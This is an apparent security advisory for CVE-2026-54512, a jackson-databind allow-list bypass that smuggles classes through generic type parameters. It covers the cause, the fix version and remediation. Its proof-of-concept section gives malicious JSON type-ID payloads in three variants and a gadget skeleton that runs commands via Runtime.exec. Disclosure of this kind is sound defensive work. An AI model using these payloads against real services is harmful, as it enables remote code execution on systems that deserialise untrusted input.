high · 8.1CVE-2026-54512Jun 26, 2026

CVE-2026-54512: jackson-databind PolymorphicTypeValidator Bypass via Generic Type Parameters

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

jackson-databind's type allow-list can be completely bypassed by smuggling a dangerous class inside the generic parameter of a permitted container type, enabling arbitrary class instantiation and pote

Packagecom.fasterxml.jackson.core:jackson-databind
Ecosystemmaven
Affected>= 2.10.0, <= 2.18.7
Fixed in2.18.8
CVE-2026-54512: jackson-databind PolymorphicTypeValidator Bypass via Generic Type Parameters

The problem

When polymorphic typing is enabled, `DatabindContext._resolveAndValidateGeneric()` only checks the raw container class name (the part before `<`) against the configured PolymorphicTypeValidator. The nested generic type arguments are never validated.

After the container passes the allow-list check, `TypeFactory.constructFromCanonical()` builds the full parameterized type and returns it. The nested argument is then loaded via `Class.forName(name, true, loader)`, instantiated, and populated with attacker-controlled property values.

An attacker who controls the type ID field can therefore load any class on the classpath, making a carefully configured `BasicPolymorphicTypeValidator` allow-list completely ineffective.

Proof of concept

json
// Mapper configured with a tightly scoped PTV allow-list:
BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
        .allowIfSubType("java.util.ArrayList")
        .build();
ObjectMapper mapper = JsonMapper.builder()
        .polymorphicTypeValidator(ptv)
        .build();

// Malicious JSON (Wrapper.value is Object with @JsonTypeInfo(use=Id.CLASS, include=As.WRAPPER_ARRAY)):
// The container "java.util.ArrayList" passes the PTV check.
// "com.evil.EvilGadget" is never checked and is loaded, instantiated,
// and its setter called with attacker-supplied data.
{"value":["java.util.ArrayList<com.evil.EvilGadget>",[{"cmd":"calc.exe"}]]}

// Variant: smuggle via map key
{"value":["java.util.HashMap<com.evil.EvilGadget,String>",[["key"],"val"]]}

// Variant: nested generic
{"value":["java.util.ArrayList<java.util.ArrayList<com.evil.EvilGadget>>",[[[{"cmd":"calc.exe"}]]]]}

// Minimal gadget skeleton that triggers RCE via setter side-effect:
// package com.evil;
// public class EvilGadget {
//   public void setCmd(String cmd) throws Exception {
//     Runtime.getRuntime().exec(cmd);
//   }
// }

The root cause is CWE-184: the PTV validation in `_resolveAndValidateGeneric()` is incomplete. It strips everything after the first `<` and checks only the container class, then hands the full canonical string to `TypeFactory.constructFromCanonical()`, which resolves every type parameter without further security checks.

Commit 434d6c511 fixes this by adding a recursive post-construction walk over each resolved type parameter. Each non-trivial parameter (excluding `Object` wildcard placeholders and `Enum` types) is now passed back through the full PTV chain. If any parameter fails validation, `InvalidTypeIdException` is thrown before any instantiation occurs.

The fix

Upgrade to jackson-databind 2.18.8, 2.21.4, or 3.1.4. All three lines received the fix in the same coordinated release on June 4, 2026 (commit 434d6c511). There is no configuration-only workaround: the vulnerability bypasses the validator itself, so hardening the allow-list does not help.

Disabling polymorphic typing entirely (`MapperFeature` default typing off, no `@JsonTypeInfo` on `Object`-typed fields) eliminates the attack surface if the feature is not required.

Reported by Omkhar Arasaratnam and caveeroo.

References: [1][2][3][4]